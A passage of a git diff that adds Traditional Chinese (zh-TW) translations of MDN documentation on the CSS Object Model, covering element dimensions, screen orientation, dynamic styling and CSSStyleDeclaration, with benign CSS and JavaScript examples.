+translation_of: Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements
+---
+<p>{{APIRef("CSSOM View")}}</p>
+
+<p>There are several properties you can look at in order to determine the width and height of elements, and it can be tricky to determine which is the right one for your needs. This article is designed to help you make that decision.  Note that all these properties are read-only.  If you want to set the width and height of an element, use <span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;"><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/width" style="line-height: 1.5;" title="The width CSS property specifies the width of the content area of an element. The content area is inside the padding, border, and margin of the element.">width</a> </code>and<code style="font-style: normal; line-height: 1.5;"> </code><code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/height" title="The height CSS property specifies the height of the content area of an element. The content area is inside the padding, border, and margin of the element.">height</a>;</code><span style="line-height: 1.5;"> or, the overriding</span><span style="line-height: 1.5;"> </span><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/min-width" style="line-height: 1.5;" title="The min-width property is used to set the minimum width of a given element. It prevents the used value of the width property from becoming smaller than the value specified for min-width."><code>min-width</code></a><span style="line-height: 1.5;"> </span>and<span style="line-height: 1.5;"> </span><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/max-width" style="line-height: 1.5;" title="The max-width property is used to set the maximum width of a given element. It prevents the used value of the width property from becoming larger than the value specified for max-width."><code>max-width</code></a><span style="line-height: 1.5;">, </span>and<span style="line-height: 1.5;"> </span><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/min-height" style="line-height: 1.5;" title="The min-height CSS property is used to set the minimum height of a given element. It prevents the used value of the height property from becoming smaller than the value specified for min-height."><code>min-height</code></a><span style="line-height: 1.5;"> </span>and<span style="line-height: 1.5;"> </span><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/max-height" style="line-height: 1.5;" title="The max-height CSS property is used to set the maximum height of a given element. It prevents the used value of the height property from becoming larger than the value specified for max-height."><code>max-height</code></a><span style="line-height: 1.5;"> properties.</span></p>
+
+<h2 id="How_much_room_does_it_use_up.3F" name="How_much_room_does_it_use_up.3F">How much room does it use up?</h2>
+
+<p>If you need to know the total amount of space an element occupies, including the width of the visible content, scrollbars (if any), padding, and border, you want to use the <code><a href="/en/DOM/element.offsetWidth" title="en/DOM/element.offsetWidth">offsetWidth</a></code> and <code><a href="/en/DOM/element.offsetHeight" title="en/DOM/element.offsetHeight">offsetHeight</a></code> properties. Most of the time these are the same as width and height of <code><a href="/en/DOM/element.getBoundingClientRect" title="en/DOM/element.getBoundingClientRect">getBoundingClientRect()</a></code>, when there aren't any transforms applied to the element. In case of transforms, the <code>offsetWidth</code> and <code>offsetHeight</code> returns the element's layout width and height, while <code>getBoundingClientRect()</code> returns the rendering width and height. As an example, if the element has <code>width: 100px;</code> and <code>transform: scale(0.5);</code> the <code>getBoundingClientRect()</code> will return 50 as the width, while <code>offsetWidth</code> will return 100.</p>
+
+<p><img alt="Image:Dimensions-offset.png" class="internal" src="/@api/deki/files/186/=Dimensions-offset.png"></p>
+
+<h2 id="What.27s_the_size_of_the_displayed_content.3F" name="What.27s_the_size_of_the_displayed_content.3F">What's the size of the displayed content?</h2>
+
+<p>If you need to know how much space the actual displayed content takes up, including padding but not including the border, margins, or scrollbars, you want to use the <code><a href="/en/DOM/element.clientWidth" title="en/DOM/element.clientWidth">clientWidth</a></code> and <code><a href="/en/DOM/element.clientHeight" title="en/DOM/element.clientHeight">clientHeight</a></code> properties:</p>
+
+<p><img alt="Image:Dimensions-client.png" class="internal" src="/@api/deki/files/185/=Dimensions-client.png"></p>
+
+<h2 id="How_big_is_the_content.3F" name="How_big_is_the_content.3F">How big is the content?</h2>
+
+<p>If you need to know the actual size of the content, regardless of how much of it is currently visible, you need to use the <code><a href="/en/DOM/element.scrollWidth" title="en/DOM/element.scrollWidth">scrollWidth</a></code> and <code><a href="/en-US/docs/Web/API/Element.scrollHeight" title="en/DOM/element.scrollHeight">scrollHeight</a></code> properties. These return the width and height of the entire content of an element, even if only part of it is presently visible due to the use of scroll bars.</p>
+
+<p>For example, if a 600x400 pixel element is being displayed inside a 300x300 pixel scrollbox, <code>scrollWidth</code> will return 600 while <code>scrollHeight</code> will return 400.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/cssom-view/">http://www.w3.org/TR/cssom-view/</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN: Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/css_object_model/index.html b/files/zh-tw/web/api/css_object_model/index.html
new file mode 100644
index 0000000000..e924a96301
--- /dev/null
+++ b/files/zh-tw/web/api/css_object_model/index.html
@@ -0,0 +1,131 @@
+---
+title: CSS Object Model
+slug: Web/API/CSS_Object_Model
+tags:
+  - API
+  - CSSOM
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/CSS_Object_Model
+---
+<p>{{DefaultAPISidebar('CSSOM')}}</p>
+
+<p>The <strong>CSS Object Model</strong> is a set of APIs allowing to manipulate CSS from JavaScript. It is the pendant of DOM and HTML APIs, but for CSS. It allows to read and modify CSS style dynamically.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li>{{domxref("CaretPosition")}}</li>
+ <li>{{domxref("CSS")}}</li>
+ <li>{{domxref("CSSCharsetRule")}}</li>
+ <li>{{domxref("CSSConditionRule")}}</li>
+ <li>{{domxref("CSSCounterStyleRule")}}</li>
+ <li>{{domxref("CSSFontFaceRule")}}</li>
+ <li>{{domxref("CSSFontFeatureValuesMap")}}</li>
+ <li>{{domxref("CSSFontFeatureValuesRule")}}</li>
+ <li>{{domxref("CSSGroupingRule")}}</li>
+ <li>{{domxref("CSSImportRule")}}</li>
+ <li>{{domxref("CSSKeyframeRule")}}</li>
+ <li>{{domxref("CSSKeyframesRule")}}</li>
+ <li>{{domxref("CSSMarginRule")}}</li>
+ <li>{{domxref("CSSMediaRule")}}</li>
+ <li>{{domxref("CSSNamespaceRule")}}</li>
+ <li>{{domxref("CSSPageRule")}}</li>
+ <li>{{domxref("CSSRule")}}</li>
+ <li>{{domxref("CSSRuleList")}}</li>
+ <li>{{domxref("CSSStyleSheet")}}</li>
+ <li>{{domxref("CSSStyleDeclaration")}}</li>
+ <li>{{domxref("CSSSupportsRule")}}</li>
+ <li>{{domxref("CSSVariablesMap")}}</li>
+ <li>{{domxref("CSSViewportRule")}}</li>
+ <li>{{domxref("ElementCSSInlineStyle")}}</li>
+ <li>{{domxref("GeometryUtils")}}</li>
+ <li>{{domxref("GetStyleUtils")}}</li>
+ <li>{{domxref("LinkStyle")}}</li>
+ <li>{{domxref("MediaList")}}</li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("PseudoElement")}}</li>
+ <li>{{domxref("Screen")}}</li>
+ <li>{{domxref("StyleSheet")}}</li>
+ <li>{{domxref("StyleSheetList")}}</li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
+</div>
+
+<p>Several other interfaces are also extended by the CSSOM-related specifications: {{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, and {{domxref("SVGElement")}}.</p>
+
+<h2 id="Tutorials">Tutorials</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a> (it needs some updating as it was made in the DHTML/Ajax era).</li>
+ <li><a href="/en-US/docs/WebAPI/Managing_screen_orientation">Managing screen orientation</a></li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Screen Orientation")}}</td>
+   <td>{{Spec2("Screen Orientation")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Fonts")}}</td>
+   <td>{{Spec2("CSS3 Fonts")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Animations")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Transitions")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Variables")}}</td>
+   <td>{{Spec2("CSS3 Variables")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Conditional")}}</td>
+   <td>{{Spec2("CSS3 Conditional")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Device")}}</td>
+   <td>{{Spec2("CSS3 Device")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Counter Styles")}}</td>
+   <td>{{Spec2("CSS3 Counter Styles")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility_notes">Browser compatibility notes</h2>
+
+<p>All these features have been added little by little over the years to the different browsers: it was a quite complex process that can't be summarized in a simple table. Please refer to the specific interfaces for its availability.</p>
diff --git a/files/zh-tw/web/api/css_object_model/managing_screen_orientation/index.html b/files/zh-tw/web/api/css_object_model/managing_screen_orientation/index.html
new file mode 100644
index 0000000000..806ac2d047
--- /dev/null
+++ b/files/zh-tw/web/api/css_object_model/managing_screen_orientation/index.html
@@ -0,0 +1,172 @@
+---
+title: 控制畫面方向
+slug: Web/API/CSS_Object_Model/Managing_screen_orientation
+translation_of: Web/API/CSS_Object_Model/Managing_screen_orientation
+---
+<p>{{SeeCompatTable}}{{APIRef}}</p>
+
+<h2 id="摘要">摘要</h2>
+
+<p>畫面方向（Screen Orientation）與<a href="https://developer.mozilla.org/zh-TW/docs/WebAPI/Detecting_device_orientation" title="/zh-TW/docs/WebAPI/Detecting_device_orientation">裝置方向（Device Orientation）</a>略有不同。有時甚至裝置本身不具備方向偵測功能，但裝置的螢幕仍搭載方向功能。如果裝置可測知本身的方向又能控制畫面方向，就能隨時配合 Web Apps 而達到最佳效果。</p>
+
+<p>現有 2 種方法可處理畫面的方向，但均需搭配 CSS 與 JavaScript。第一種方法就是方向的 <a href="https://developer.mozilla.org/zh-TW/docs/CSS/Media_queries#orientation" title="en-US/CSS/Media queries#orientation">Media Query</a>。根據瀏覽器視窗為橫放（寬度大於高度）或直放（高度大於寬度）狀態，而透過 CSS 調整網頁內容的配置。</p>
+
+<p>第二種方法就是 JavaScript Screen Orientation API，可取得畫面目前的方向並進一步鎖定。</p>
+
+<h2 id="根據方向而調整配置">根據方向而調整配置</h2>
+
+<p>方向改變最常見的情形之一，就是根據裝置的方向而修正內容的配置方式。舉例來說，你可能想將按鈕列拉到與裝置螢幕等長。而透過 Media Query 即可輕鬆達到此效果。</p>
+
+<p>來看看下列 HTML 程式碼範例：</p>
+
+<pre class="brush: html">&lt;ul id="toolbar"&gt;
+  &lt;li&gt;A&lt;/li&gt;
+  &lt;li&gt;B&lt;/li&gt;
+  &lt;li&gt;C&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis lacinia nisi nec sem viverra vitae fringilla nulla ultricies. In ac est dolor, quis tincidunt leo. Cras commodo quam non tortor consectetur eget rutrum dolor ultricies. Ut interdum tristique dapibus. Nullam quis malesuada est.&lt;/p&gt;
+</pre>
+
+<p>CSS 將根據方向的 Media Query，處理畫面方向的特殊樣式：</p>
+
+<pre class="brush: css">/* First let's define some common styles */
+
+html, body {
+  width : 100%;
+  height: 100%;
+}
+
+body {
+  border: 1px solid black;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+p {
+  font   : 1em sans-serif;
+  margin : 0;
+  padding: .5em;
+}
+
+ul {
+  list-style: none;
+
+  font   : 1em monospace;
+  margin : 0;
+  padding: .5em;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+
+  background: black;
+}
+
+li {
+  display: inline-block;
+  margin : 0;
+  padding: 0.5em;
+  background: white;
+}
+</pre>
+
+<p>在設定某些通用的樣式之後，即可針對方向定義特殊條件：</p>
+
+<pre class="brush: css">/* For portrait, we want the tool bar on top */
+
+@media screen and (orientation: portrait) {
+  #toolbar {
+    width: 100%;
+  }
+}
+
+/* For landscape, we want the tool bar stick on the left */
+
+@media screen and (orientation: landscape) {
+  #toolbar {
+    position: fixed;
+    width: 2.65em;
+    height: 100%;
+  }
+
+  p {
+    margin-left: 2em;
+  }
+
+  li + li {
+    margin-top: .5em;
+  }
+}
+</pre>
+
+<p>結果如下所示（若無法顯示，可至本文右上角切換回英文原文觀看）：</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Portrait</th>
+   <th scope="col">Landscape</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 180, 350) }}</td>
+   <td>{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 350, 180) }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>注意：</strong>方向 Media Query 其實是以瀏覽器視窗 (或 iframe) 的方向為準，而非裝置本身的方向。</p>
+</div>
+
+<h2 id="鎖定畫面方向">鎖定畫面方向</h2>
+
+<div class="warning">
+<p><strong>警告：</strong>此 API 仍屬實驗性質，目前仍具備 <code>moz</code> 前綴而僅能用於 <a href="https://developer.mozilla.org/zh-TW/docs/Mozilla/Firefox_OS" title="/zh-TW/docs/Mozilla/Firefox_OS">Firefox OS</a> 與 <a href="https://developer.mozilla.org/zh-TW/docs/Mozilla/Firefox_for_Android" title="/zh-TW/docs/Mozilla/Firefox_for_Android">Firefox for Android</a>，而 Windows 8.1 以上版本的 Internet Explorer 則使用 <code>ms</code> 前綴。</p>
+</div>
+
+<p>某些裝置（主要為行動裝置）可根據本身方向而動態改變畫面的方向，讓使用者隨時閱讀畫面上的資訊。這種動作對文字類的內容影響不大，但某些內容就無法順利套用此功能。舉例來說，若遊戲需要裝置方向的相關資訊，就可能因為方向變化而發生混亂情形。</p>
+
+<p>而 Screen Orientation API 即可用以避免或處理這類變化。</p>
+
+<h3 id="監聽方向變化">監聽方向變化</h3>
+
+<p>只要裝置改變了畫面方向與本身方向，就會觸發 {{event("orientationchange")}} 事件，再由 {{domxref("Screen.orientation")}} 屬性讀取之。</p>
+
+<pre class="brush: js">screen.addEventListener("orientationchange", function () {
+  console.log("The orientation of the screen is: " + screen.orientation);
+});
+</pre>
+
+<h3 id="避免方向改變">避免方向改變</h3>
+
+<p>任何 Web Apps 均可鎖定畫面以符合本身需求。{{domxref("Screen.lockOrientation()")}} 函式可鎖定畫面方向；{{domxref("Screen.unlockOrientation()")}} 函式可解鎖畫面方向。</p>
+
+<p>{{domxref("Screen.lockOrientation()")}} 將接受一組字串或系列字串，以定義畫面鎖定的方向。有效字串為：「<code>portrait-primary</code>」、「<code>portrait-secondary</code>」、「<code>landscape-primary</code>」、「<code>landscape-secondary</code>」、「<code>portrait</code>」、「<code>landscape</code>」。另可參閱 {{domxref("Screen.lockOrientation")}} 進一步了解這些有效值。</p>
+
+<pre class="brush: js">screen.lockOrientation('landscape');</pre>
+
+<div class="note">
+<p><strong>注意：</strong>畫面鎖定功能將依 Web Apps 而有所不同。如果 App A 鎖定為 <code>landscape</code>；App B 鎖定為 <code>portrait，則此兩款 Apps 均將維持自己的方向。所以不論如何切換</code> A 與 B，均不會觸發 {{event("orientationchange")}} 事件。</p>
+
+<p>但若必須改變方向以滿足畫面鎖定的需求，則鎖定方向時就會觸發 {{event("orientationchange")}} 事件。</p>
+</div>
+
+<h2 id="Firefox_OS_and_Android_Orientation_lock_using_the_manifest">Firefox OS and Android: Orientation lock using the manifest</h2>
+
+<p>For a Firefox OS and Firefox Android (soon to work on Firefox desktop too) specific way to lock orientation, you can set the <a href="/en-US/Apps/Build/Manifest#orientation">orientation</a> field in app's your manifest file, for example:</p>
+
+<pre class="brush: json">"orientation": "portrait"</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Screen.orientation")}}</li>
+ <li>{{domxref("Screen.lockOrientation()")}}</li>
+ <li>{{domxref("Screen.unlockOrientation()")}}</li>
+ <li>{{domxref("Screen.onorientationchange")}}</li>
+ <li><a href="/zh-TW/docs/CSS/Media_queries#orientation" title="en-US/CSS/Media queries#orientation">方向的 Media Query</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2009/06/media-queries/" title="http://hacks.mozilla.org/2009/06/media-queries/">Firefox 3.5 的 Media Queries 簡介</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/css_object_model/using_dynamic_styling_information/index.html b/files/zh-tw/web/api/css_object_model/using_dynamic_styling_information/index.html
new file mode 100644
index 0000000000..fa020403aa
--- /dev/null
+++ b/files/zh-tw/web/api/css_object_model/using_dynamic_styling_information/index.html
@@ -0,0 +1,132 @@
+---
+title: 使用動態樣式資訊
+slug: Web/API/CSS_Object_Model/Using_dynamic_styling_information
+translation_of: Web/API/CSS_Object_Model/Using_dynamic_styling_information
+---
+<p>The CSS Object Model (CSSOM), part of the DOM, exposes specific interfaces allowing manipulation of a wide amount of information regarding CSS. Initially defined in the <em>DOM Level 2 Style</em> recommendation, these interfaces forms now a specification, <em>CSS Object Model (CSSOM)</em> which aims at superseding it.</p>
+
+<p>In many cases, and where possible, it really is best practice to dynamically manipulate classes via the {{ domxref("element.className", "className") }} property since the ultimate appearance of all of the styling hooks can be controlled in a single stylesheet. One's JavaScript code also becomes cleaner since instead of being dedicated to styling details, it can focus on the overall semantics of each section it is creating or manipulating, leaving the precise style details to the stylesheet. However, there are cases where actually obtaining or manipulating the rules can be useful (whether for whole stylesheets or individual elements), and that is described in further detail below. Note also that, as with individual element's DOM styles, when speaking of manipulating the stylesheets, this is not actually manipulating the physical document(s), but merely the internal representation of the document.</p>
+
+<p>The basic <code>style</code> object exposes the {{domxref("Stylesheet")}} and the {{domxref("CSSStylesheet")}} interfaces. Those interfaces contain members like <code>insertRule</code>, <code>selectorText</code>, and <code>parentStyleSheet</code> for accessing and manipulating the individual style rules that make up a CSS stylesheet.</p>
+
+<p>To get to the <code>style</code> objects from the <code>document</code>, you can use the {{domxref("document.styleSheets")}} property and access the individual objects by index (e.g., <code>document.styleSheets[0]</code> is the first stylesheet defined for the document, etc.).</p>
+
+<h2 id="Modify_a_stylesheet_rule" name="Modify_a_stylesheet_rule">透過 CSSOM 修改樣式表規則</h2>
+
+<pre class="brush: html" style="font-size: 14px;">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Modifying a stylesheet rule with CSSOM&lt;/title&gt;
+&lt;style type="text/css"&gt;
+body {
+ background-color: red;
+}
+&lt;/style&gt;
+&lt;script type="text/javascript"&gt;
+var stylesheet = document.styleSheets[1];
+stylesheet.cssRules[0].style.backgroundColor="blue";
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+The stylesheet declaration for the body's background color is modified via JavaScript.
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>{{ EmbedLiveSample('Modify_a_stylesheet_rule') }}</p>
+
+<p>The list of properties available in the DOM from the style property is given on the <a href="/en-US/docs/DOM/CSS" title="en/DOM/CSS">DOM CSS Properties List</a> page.</p>
+
+<p>To modify styles to a document using CSS syntax, one can insert rules or insert {{HTMLElement("style")}} tags whose <code>innerHTML</code> property is set to the desired CSS.</p>
+
+<h2 id="Modify_an_element_style" name="Modify_an_element_style">修改元素的樣式</h2>
+
+<p>The element {{domxref("HTMLElement.style", "style")}} property (see also the section "DOM Style Object" below) can also be used to get and set the styles on an element. However, this property only returns style attributes that have been set <em>in-line</em> (e.g, <code>&lt;td style="background-color: lightblue"&gt;</code> returns the string "<code>background-color:lightblue</code>", or directly for that element using <code>element.style.propertyName</code>, even though there may be other styles on the element from a stylesheet).</p>
+
+<p>Also, when you set this property on an element, you override and erase any styles that have been set elsewhere for that element's particular property you are setting. Setting the border property, for example, will override settings made elsewhere for that element's border property in the head section, or external style sheets. However, this will not affect any other property declarations for that element's styles, such as padding or margin or font, for example.</p>
+
+<p>To change a particular element's style, you can adapt the following example for the element(s) you want to style.</p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;simple style example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function alterStyle(elem) {
+  elem.style.background = 'green';
+}
+
+function resetStyle(elemId) {
+  elem = document.getElementById(elemId);
+  elem.style.background = 'white';
+}
+&lt;/script&gt;
+
+&lt;style type="text/css"&gt;
+#p1 {
+  border: solid blue 2px;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;!-- passes a reference to the element's object as parameter 'this'. --&gt;
+&lt;p id="p1" onclick="alterStyle(this);"&gt;
+ Click here to change background color.
+&lt;/p&gt;
+
+&lt;!-- passes the 'p1' id of another element's style to modify. --&gt;
+&lt;button onclick="resetStyle('p1');"&gt;Reset background color&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Modify_an_element_style') }}</p>
+
+<p>The {{domxref("window.getComputedStyle", "getComputedStyle()")}} method on the <code>document.defaultView</code> object returns all styles that have actually been computed for an element. See <a href="/en/Gecko_DOM_Reference/Examples#Example_6:_getComputedStyle" title="en/Gecko_DOM_Reference/Examples#Example_6:_getComputedStyle">Example 6: getComputedStyle</a> in the examples chapter for more information on how to use this method.</p>
+
+<h2 id="DOM_Style_Object" name="DOM_Style_Object">DOM Style Object</h2>
+
+<p>The <code>style</code> object represents an individual style statement. Unlike the individual rules available from the <code><a href="/en/DOM/document.styleSheets" title="en/DOM/document.styleSheets">document.styleSheets</a></code> collection, the style object is accessed from the <code>document</code> or from the elements to which that style is applied. It represents the <em>in-line</em> styles on a particular element.</p>
+
+<p>More important than the two properties noted here is the use of the <code>style</code> object to set individual style properties on an element:</p>
+
+<div id="DOM_Style_Object_code_sample">
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+  &lt;title&gt;style Property Example&lt;/title&gt;
+  &lt;link rel="StyleSheet" href="example.css" type="text/css"&gt;
+  &lt;script type="text/javascript"&gt;
+    function stilo() {
+      document.getElementById('d').style.color = 'orange';
+    }
+    function resetStyle() {
+      document.getElementById('d').style.color = 'black';
+    }
+  &lt;/script&gt;
+ &lt;/head&gt;
+
+ &lt;body&gt;
+  &lt;div id="d" class="thunder"&gt;Thunder&lt;/div&gt;
+  &lt;button onclick="stilo()"&gt;Click here to change text color&lt;/button&gt;
+  &lt;button onclick="resetStyle()"&gt;Reset text color&lt;/button&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('DOM_Style_Object_code_sample') }}</p>
+
+<p>The <strong>media</strong> and <strong>type</strong> of the style may or may not be given.</p>
+
+<h3 id="DOM_Style_Object_SetAttribue" name="DOM_Style_Object_SetAttribue">使用 setAttribute 方法</h3>
+
+<p>Note that you can also change style of an element by getting a reference to it and then use its <code><a href="/en/DOM/element.setAttribute" title="en/DOM/element.setAttribute">setAttribute</a></code> method to specify the CSS property and its value.</p>
+
+<pre class="brush: js">var el = document.getElementById('some-element');
+el.setAttribute('style', 'background-color:darkblue;');
+</pre>
+
+<p>Be aware, however, that <code>setAttribute</code> removes all other style properties that may already have been defined in the element's style object. If the <code><var>some-element</var></code> element above had an in–line style attribute of say <code>style="font-size: 18px"</code>, that value would be removed by the use of <code>setAttribute</code>.</p>
diff --git a/files/zh-tw/web/api/cssstyledeclaration/index.html b/files/zh-tw/web/api/cssstyledeclaration/index.html
new file mode 100644
index 0000000000..8893e225d6
--- /dev/null
+++ b/files/zh-tw/web/api/cssstyledeclaration/index.html
@@ -0,0 +1,90 @@
+---
+title: CSSStyleDeclaration
+slug: Web/API/CSSStyleDeclaration
+translation_of: Web/API/CSSStyleDeclaration
+---
+<p>{{ APIRef("CSSOM") }}</p>
+
+<h2 id="Summary" name="Summary">概要</h2>
+
+<p><code>CSSStyleDeclaration</code> 表示了一個 CSS 屬性名值對（property-value pairs）的集合。它被用於幾個 API 當中：</p>
+
+<ul>
+ <li>{{domxref("HTMLElement.style")}} - to manipulate the style of a single element (&lt;elem style="..."&gt;);</li>
+ <li>(TODO: reword) is an interface to the <a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/syndata.html#block">declaration block</a> returned by the <code><a href="/en/DOM/cssRule.style" rel="internal" title="en/DOM/cssRule.style">style</a></code> property of a <code><a href="/en/DOM/cssRule" rel="internal" title="en/DOM/cssRule">cssRule</a></code> in a <a href="/en/DOM/stylesheet" rel="internal" title="en/DOM/stylesheet">stylesheet</a>, when the rule is a <a href="/en/DOM/cssRule#CSSStyleRule" title="en/DOM/cssRule#CSSStyleRule">CSSStyleRule</a>.</li>
+ <li><code>CSSStyleDeclaration</code> is also a <strong>read-only</strong> interface to the result of <a href="/en/DOM/window.getComputedStyle" title="en/DOM/window.getComputedStyle">window.getComputedStyle</a>().</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">屬性</h2>
+
+<dl>
+ <dt>{{domxref("CSSStyleDeclaration.cssText")}}</dt>
+ <dd>Textual representation of the declaration block. Setting this attribute changes the style.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.length")}} {{readonlyInline}}</dt>
+ <dd>The number of properties. See the {{domxref("CSSStyleDeclaration.item", 'item()')}} method below.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.parentRule")}} {{readonlyInline}}</dt>
+ <dd>The containing {{domxref("CSSRule")}}.</dd>
+</dl>
+
+<h2 id="Syntax" name="Syntax">方法</h2>
+
+<dl>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyPriority()")}}</dt>
+ <dd>Returns the optional priority, "important".</dd>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyValue()")}}</dt>
+ <dd>Returns the property value given a property name.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.item()")}}</dt>
+ <dd>Returns a property name.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.removeProperty()")}}</dt>
+ <dd>Removes a property from the CSS declaration block.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.setProperty()")}}</dt>
+ <dd>Modifies an existing CSS property or creates a new CSS property in the declaration block/.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyCSSValue()")}} {{obsolete_inline}}</dt>
+ <dd><span style="color: #ff0000;">Only supported via getComputedStyle in Firefox.</span> Returns the property value as a {{ domxref("CSSPrimitiveValue") }} or <code>null</code> for <a href="/en/CSS/Shorthand_properties" title="en/Guide to Shorthand CSS">shorthand properties</a>.</dd>
+</dl>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush: js">var styleObj = document.styleSheets[0].cssRules[0].style;
+console.log(styleObj.cssText);
+
+for (var i = styleObj.length; i--;) {
+  var nameString = styleObj[i];
+  styleObj.removeProperty(nameString);
+}
+
+console.log(styleObj.cssText);</pre>
+
+<h2 id="Notes" name="Notes">備註</h2>
+
+<p>The declaration block is that part of the style rule that appears within the braces and that actually provides the style definitions (for the selector, the part that comes before the braces).</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">DOM CSS Properties</a></li>
+</ul>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#the-cssstyledeclaration-interface', 'CSSStyleDeclaration')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSPrimitiveValue')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/api/cssstylesheet/index.html b/files/zh-tw/web/api/cssstylesheet/index.html
new file mode 100644
index 0000000000..01abf1a942
--- /dev/null
+++ b/files/zh-tw/web/api/cssstylesheet/index.html
@@ -0,0 +1,187 @@
+---
+title: CSSStyleSheet
+slug: Web/API/CSSStyleSheet
+tags:
+  - API
+  - CSSOM
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/CSSStyleSheet
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p>The <strong><code>CSSStyleSheet</code></strong> interface represents a single <a href="/en-US/docs/Web/CSS">CSS</a> style sheet. It inherits properties and methods from its parent, {{domxref("StyleSheet")}}.</p>
+
+<p>A style sheet consists of <em>{{domxref("CSSRule", "rules", "", 1)}}</em>, such as <em>{{domxref("CSSStyleRule", "style rules", "", 1)}}</em><em> </em>("<code>h1,h2 { font-size: 16pt }"</code>), various <em>at-rules</em> (<code>@import</code>, <code>@media</code>, ...), etc. This interface lets you inspect and modify the list of rules in the stylesheet.</p>
+
